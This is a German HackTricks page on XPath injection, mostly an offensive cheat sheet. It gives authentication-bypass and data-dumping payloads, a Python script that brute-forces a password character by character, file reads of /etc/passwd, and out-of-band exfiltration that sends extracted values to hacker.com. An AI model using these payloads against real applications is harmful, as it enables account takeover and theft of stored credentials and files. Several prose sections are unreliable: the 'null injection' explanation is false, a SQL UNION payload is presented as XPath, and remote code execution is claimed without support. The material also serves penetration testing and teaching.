hacktricks/pentesting-web/xpath-injection.md
2024-02-10 15:36:32 +00:00

25 KiB

XPATH-Injection

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

Hacking Insights
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.

Echtzeit-Hack-News
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden.

Neueste Ankündigungen
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert.

Treten Sie uns auf Discord bei und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!

Grundlegende Syntax

Eine Angriffstechnik namens XPath-Injection wird verwendet, um Anwendungen auszunutzen, die XPath (XML Path Language)-Abfragen basierend auf Benutzereingaben erstellen, um XML-Dokumente abzufragen oder zu navigieren.

Beschriebene Knoten

Ausdrücke werden verwendet, um verschiedene Knoten in einem XML-Dokument auszuwählen. Diese Ausdrücke und ihre Beschreibungen sind wie folgt zusammengefasst:

  • nodename: Alle Knoten mit dem Namen "nodename" werden ausgewählt.
  • /: Die Auswahl erfolgt vom Wurzelknoten aus.
  • //: Knoten, die der Auswahl vom aktuellen Knoten aus entsprechen, werden unabhängig von ihrer Position im Dokument ausgewählt.
  • .: Der aktuelle Knoten wird ausgewählt.
  • ..: Der Elternknoten des aktuellen Knotens wird ausgewählt.
  • @: Attribute werden ausgewählt.

XPath-Beispiele

Beispiele für Pfadausdrücke und ihre Ergebnisse sind:

  • bookstore: Alle Knoten mit dem Namen "bookstore" werden ausgewählt.
  • /bookstore: Das Wurzelelement "bookstore" wird ausgewählt. Es ist zu beachten, dass ein absoluter Pfad zu einem Element durch einen Pfad, der mit einem Schrägstrich (/) beginnt, dargestellt wird.
  • bookstore/book: Alle Buchelemente, die Kinder von "bookstore" sind, werden ausgewählt.
  • //book: Alle Buchelemente im Dokument werden unabhängig von ihrer Position ausgewählt.
  • bookstore//book: Alle Buchelemente, die Nachkommen des Elements "bookstore" sind, werden unabhängig von ihrer Position unter dem Element "bookstore" ausgewählt.
  • //@lang: Alle Attribute mit dem Namen "lang" werden ausgewählt.

Verwendung von Prädikaten

Prädikate werden verwendet, um Auswahlen zu verfeinern:

  • /bookstore/book[1]: Das erste Buchelement, das Kind des Elements "bookstore" ist, wird ausgewählt. Eine Lösung für IE-Versionen 5 bis 9, bei denen der erste Knoten als [0] indiziert wird, besteht darin, die SelectionLanguage über JavaScript auf XPath festzulegen.
  • /bookstore/book[last()]: Das letzte Buchelement, das Kind des Elements "bookstore" ist, wird ausgewählt.
  • /bookstore/book[last()-1]: Das vorletzte Buchelement, das Kind des Elements "bookstore" ist, wird ausgewählt.
  • /bookstore/book[position()<3]: Die ersten beiden Buchelemente, die Kinder des Elements "bookstore" sind, werden ausgewählt.
  • //title[@lang]: Alle Titel-Elemente mit einem Attribut "lang" werden ausgewählt.
  • //title[@lang='en']: Alle Titel-Elemente mit einem Attributwert "en" für "lang" werden ausgewählt.
  • /bookstore/book[price>35.00]: Alle Buchelemente des Buchladens mit einem Preis über 35.00 werden ausgewählt.
  • /bookstore/book[price>35.00]/title: Alle Titel-Elemente der Buchelemente des Buchladens mit einem Preis über 35.00 werden ausgewählt.

Umgang mit unbekannten Knoten

Platzhalter werden verwendet, um unbekannte Knoten abzugleichen:

  • *: Passt zu jedem Elementknoten.
  • @*: Passt zu jedem Attributknoten.
  • node(): Passt zu jedem Knoten beliebiger Art.

Weitere Beispiele sind:

  • /bookstore/*: Wählt alle Kind-Elementknoten des Elements "bookstore" aus.
  • //*: Wählt alle Elemente im Dokument aus.
  • //title[@*]: Wählt alle Titel-Elemente mit mindestens einem Attribut beliebiger Art aus.

Beispiel

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Zugriff auf die Informationen

XPath Injection ist eine Technik, bei der ein Angreifer bösartige XPath-Ausdrücke in eine Anwendung einschleust, um auf vertrauliche Informationen zuzugreifen. XPath ist eine Abfragesprache, die verwendet wird, um XML-Dokumente zu durchsuchen und zu filtern.

Um XPath Injection durchzuführen, muss der Angreifer eine Schwachstelle in der Anwendung finden, die es ihm ermöglicht, benutzerdefinierte XPath-Ausdrücke einzufügen. Dies kann beispielsweise durch unsichere Eingabevalidierung oder unzureichende Absicherung der Anwendung geschehen.

Sobald der Angreifer erfolgreich einen bösartigen XPath-Ausdruck in die Anwendung eingeschleust hat, kann er verschiedene Techniken verwenden, um auf vertrauliche Informationen zuzugreifen. Dazu gehören das Extrahieren von Daten aus der Datenbank, das Umgehen von Zugriffsbeschränkungen und das Ausführen von Remote-Code.

Um sich vor XPath Injection-Angriffen zu schützen, sollten Entwickler sicherstellen, dass alle Benutzereingaben ordnungsgemäß validiert und bereinigt werden, bevor sie in XPath-Ausdrücken verwendet werden. Darüber hinaus sollten Sicherheitsmechanismen wie Zugriffsbeschränkungen und Berechtigungsprüfungen implementiert werden, um unbefugten Zugriff auf vertrauliche Informationen zu verhindern.

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Identifizieren und Stehlen des Schemas

XPath-Injektion kann verwendet werden, um das Schema einer Datenbank zu identifizieren und zu stehlen. Dies kann nützlich sein, um Informationen über die Datenbankstruktur zu erhalten und weitere Angriffe zu planen.

Um das Schema zu identifizieren, können Sie verschiedene Techniken verwenden:

  1. Blind XPath-Injektion: Wenn Sie keine direkte Rückmeldung von der Anwendung erhalten, können Sie eine blinde XPath-Injektionstechnik verwenden. Durch das Ausnutzen von Fehlern in der Anwendung können Sie feststellen, ob bestimmte Bedingungen wahr oder falsch sind. Sie können beispielsweise versuchen, eine Abfrage zu erstellen, die immer wahr ist, um zu überprüfen, ob eine bestimmte Tabelle oder Spalte vorhanden ist.

    Beispiel:

    ' or 1=1 or 'a'='a
    
  2. Error-Based XPath-Injektion: Wenn die Anwendung Fehlermeldungen zurückgibt, können Sie versuchen, Fehler auszulösen, um Informationen über das Schema zu erhalten. Sie können beispielsweise versuchen, eine ungültige XPath-Abfrage einzufügen, um eine Fehlermeldung mit Informationen über die Datenbankstruktur zu erhalten.

    Beispiel:

    ' or 1/0 or 'a'='a
    
  3. Union-Based XPath-Injektion: Wenn die Anwendung UNION-Abfragen unterstützt, können Sie UNION-Abfragen verwenden, um Informationen aus anderen Tabellen abzurufen. Sie können beispielsweise versuchen, eine UNION-Abfrage einzufügen, um Informationen aus dem INFORMATION_SCHEMA abzurufen.

    Beispiel:

    ' UNION SELECT table_name FROM INFORMATION_SCHEMA.TABLES --
    

Sobald Sie das Schema identifiziert haben, können Sie weitere Angriffe planen, wie z.B. das Extrahieren von Daten aus der Datenbank oder das Durchführen von weiteren Injektionen, um auf vertrauliche Informationen zuzugreifen.

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Authentifizierungsumgehung

Beispiel für Abfragen:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

OR-Bypass bei Benutzername und Passwort (gleicher Wert in beiden)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Missbrauch der Null-Injektion

Null-Injektion ist eine Technik, bei der XPath-Injektion ausgenutzt wird, um Informationen aus einer Datenbank abzurufen, indem eine Bedingung erzeugt wird, die immer wahr ist. Dies wird erreicht, indem der XPath-Ausdruck so manipuliert wird, dass er immer auf den Wert "null" ausgewertet wird.

Angriffsszenario

Angenommen, wir haben eine Anwendung, die Benutzern ermöglicht, nach Produkten zu suchen, indem sie den Produktnamen eingeben. Die Anwendung verwendet XPath, um die Datenbankabfragen durchzuführen. Der XPath-Ausdruck sieht folgendermaßen aus:

//products/product[name='USER_INPUT']

Der Wert "USER_INPUT" wird durch den vom Benutzer eingegebenen Produktnamen ersetzt. Wenn der Benutzer jedoch den Wert "null" eingibt, wird der XPath-Ausdruck zu:

//products/product[name=null]

Da der Vergleich mit "null" immer wahr ist, werden alle Produkte in der Datenbank zurückgegeben.

Ausnutzung der Null-Injektion

Um die Null-Injektion auszunutzen, können wir den Wert "null" in den Produktnamen eingeben. Dies kann auf verschiedene Arten erfolgen, je nachdem, wie die Anwendung die Benutzereingabe verarbeitet.

Ein Beispiel für eine mögliche Eingabe wäre:

' or name=null or 'a'='a

Der XPath-Ausdruck würde dann zu:

//products/product[name='' or name=null or 'a'='a']

Da die Bedingung immer wahr ist, werden alle Produkte in der Datenbank zurückgegeben.

Gegenmaßnahmen

Um die Null-Injektion zu verhindern, sollten die Benutzereingaben immer ordnungsgemäß validiert und bereinigt werden. Es ist wichtig, die Eingaben auf unerwünschte Zeichen oder Muster zu überprüfen und sicherzustellen, dass nur gültige Werte akzeptiert werden.

Darüber hinaus sollte die Anwendung den Zugriff auf die Datenbank auf das erforderliche Minimum beschränken und keine sensiblen Informationen preisgeben. Es ist auch ratsam, die Verwendung von XPath für Datenbankabfragen zu vermeiden und stattdessen sichere Alternativen wie Prepared Statements oder ORM-Frameworks zu verwenden.

Username: ' or 1]%00

Doppeltes ODER in Benutzername oder im Passwort (gültig mit nur einem verwundbaren Feld)

WICHTIG: Beachten Sie, dass die "und" die erste durchgeführte Operation ist.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

Zeichenkettenextraktion

Die Ausgabe enthält Zeichenketten und der Benutzer kann die Werte manipulieren, um zu suchen:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Länge eines Werts ermitteln und durch Vergleiche extrahieren:

XPath-Injektion kann verwendet werden, um die Länge eines bestimmten Werts in einer Datenbank zu ermitteln und ihn durch Vergleiche schrittweise zu extrahieren. Dieser Ansatz wird als "Blind Exploitation" bezeichnet, da der Angreifer keine direkte Rückmeldung über den extrahierten Wert erhält.

Um die Länge eines Werts zu ermitteln, kann der Angreifer eine XPath-Abfrage verwenden, die den zu überprüfenden Wert enthält. Wenn der Wert länger ist als der Vergleichswert, gibt die Abfrage "true" zurück, andernfalls "false". Durch schrittweises Erhöhen des Vergleichswerts kann der Angreifer die Länge des Werts ermitteln.

Ein Beispiel für eine solche Abfrage könnte wie folgt aussehen:

' or string-length(/path/to/value) > <length> or '

Der Angreifer kann den <length>-Parameter schrittweise erhöhen, bis die Abfrage "true" zurückgibt. Auf diese Weise kann der Angreifer die Länge des Werts ermitteln.

Sobald die Länge bekannt ist, kann der Angreifer den Wert schrittweise extrahieren, indem er jeden einzelnen Zeichenwert überprüft. Dazu kann der Angreifer eine ähnliche XPath-Abfrage verwenden, die den Zeichenwert an einer bestimmten Position überprüft.

Ein Beispiel für eine solche Abfrage könnte wie folgt aussehen:

' or substring(/path/to/value, <position>, 1) = '<character>' or '

Der Angreifer kann den <position>-Parameter schrittweise erhöhen und jeden möglichen Zeichenwert überprüfen, bis die Abfrage "true" zurückgibt. Auf diese Weise kann der Angreifer den Wert schrittweise extrahieren.

Es ist wichtig zu beachten, dass XPath-Injektionen sorgfältig durchgeführt werden sollten, um unerwünschte Auswirkungen auf das Zielsystem zu vermeiden. Es wird empfohlen, diese Technik nur in einer kontrollierten Umgebung oder mit ausdrücklicher Zustimmung des Eigentümers des Zielsystems anzuwenden.

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Python Beispiel

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Datei lesen

XPath Injection kann verwendet werden, um Dateien auf dem Server zu lesen. Dies kann nützlich sein, um vertrauliche Informationen zu extrahieren oder um die Funktionalität der Anwendung zu analysieren.

Um eine Datei zu lesen, kann die document()-Funktion in Verbindung mit XPath-Ausdrücken verwendet werden. Der XPath-Ausdruck wird in der Regel in einem Eingabefeld oder einer URL platziert, das/ die an den Server gesendet wird.

Ein Beispiel für einen XPath-Injektionsangriff, um eine Datei zu lesen, könnte wie folgt aussehen:

' or 1=1 or 'a'='a' or document('/etc/passwd') or '

In diesem Beispiel wird der XPath-Ausdruck ' or 1=1 or 'a'='a' or document('/etc/passwd') or ' in das Eingabefeld oder die URL eingefügt. Dadurch wird der Server dazu gebracht, die Datei /etc/passwd zu lesen und die Informationen zurückzugeben.

Es ist wichtig zu beachten, dass XPath-Injektionen nicht immer erfolgreich sind, da sie von verschiedenen Faktoren abhängen, wie z.B. der Konfiguration des Servers und der Art der Anwendung. Es ist daher ratsam, verschiedene Techniken auszuprobieren und die Ergebnisse zu überprüfen, um festzustellen, ob eine XPath-Injektion möglich ist.

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB-Ausnutzung

Out-of-Band (OOB) Exploitation ist eine Technik, bei der XPath-Injection verwendet wird, um Informationen aus einer Datenbank abzurufen und sie an einen externen Server zu senden. Dies ermöglicht es einem Angreifer, vertrauliche Daten zu extrahieren, ohne direkt auf die Datenbank zugreifen zu müssen.

OOB-Exploitation-Methoden

Es gibt verschiedene Methoden, um OOB-Exploitation durchzuführen:

  1. DNS-Exfiltration: Der Angreifer injiziert eine speziell gestaltete XPath-Anweisung, die dazu führt, dass die Daten an einen DNS-Server gesendet werden, den der Angreifer kontrolliert. Der Angreifer kann dann die DNS-Anfragen überwachen und die extrahierten Daten abrufen.

  2. HTTP-Exfiltration: Der Angreifer injiziert eine XPath-Anweisung, die dazu führt, dass die Daten an einen externen Webserver gesendet werden, den der Angreifer kontrolliert. Der Angreifer kann dann die HTTP-Anfragen überwachen und die extrahierten Daten abrufen.

  3. SMTP-Exfiltration: Der Angreifer injiziert eine XPath-Anweisung, die dazu führt, dass die Daten per E-Mail an eine von ihm kontrollierte Adresse gesendet werden. Der Angreifer kann dann die E-Mails überwachen und die extrahierten Daten abrufen.

Vorteile der OOB-Exploitation

OOB-Exploitation bietet mehrere Vorteile gegenüber herkömmlichen In-Band-Exploitationstechniken:

  • Es ermöglicht den Zugriff auf vertrauliche Daten, ohne direkt auf die Datenbank zugreifen zu müssen.

  • Es umgeht möglicherweise vorhandene Sicherheitsmaßnahmen wie Firewalls oder Intrusion Detection Systems (IDS).

  • Es ermöglicht die Extraktion von Daten über verschiedene Protokolle wie DNS, HTTP oder SMTP.

Gegenmaßnahmen

Um sich vor OOB-Exploitation zu schützen, sollten folgende Maßnahmen ergriffen werden:

  • Eingabevalidierung: Implementieren Sie eine strenge Eingabevalidierung, um potenziell schädliche Eingaben zu verhindern.

  • Parameterisierte Abfragen: Verwenden Sie parameterisierte Abfragen, um die Möglichkeit von Injection-Angriffen zu verringern.

  • Aktualisierte Software: Stellen Sie sicher, dass alle verwendeten Softwarekomponenten auf dem neuesten Stand sind, um bekannte Sicherheitslücken zu schließen.

  • Sicherheitsbewusstsein: Schulen Sie Ihre Entwickler und Administratoren in sicheren Codierungspraktiken und sensibilisieren Sie sie für die Risiken von OOB-Exploitation.

  • Überwachung: Überwachen Sie den Netzwerkverkehr und die Protokolle auf verdächtige Aktivitäten, um Angriffe frühzeitig zu erkennen und darauf reagieren zu können.

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Automatisches Tool

Referenzen

Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

Hacking Insights
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.

Echtzeit-Hack-News
Bleiben Sie mit den neuesten Nachrichten und Einblicken aus der schnelllebigen Hacking-Welt auf dem Laufenden.

Neueste Ankündigungen
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert.

Treten Sie uns bei Discord bei und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: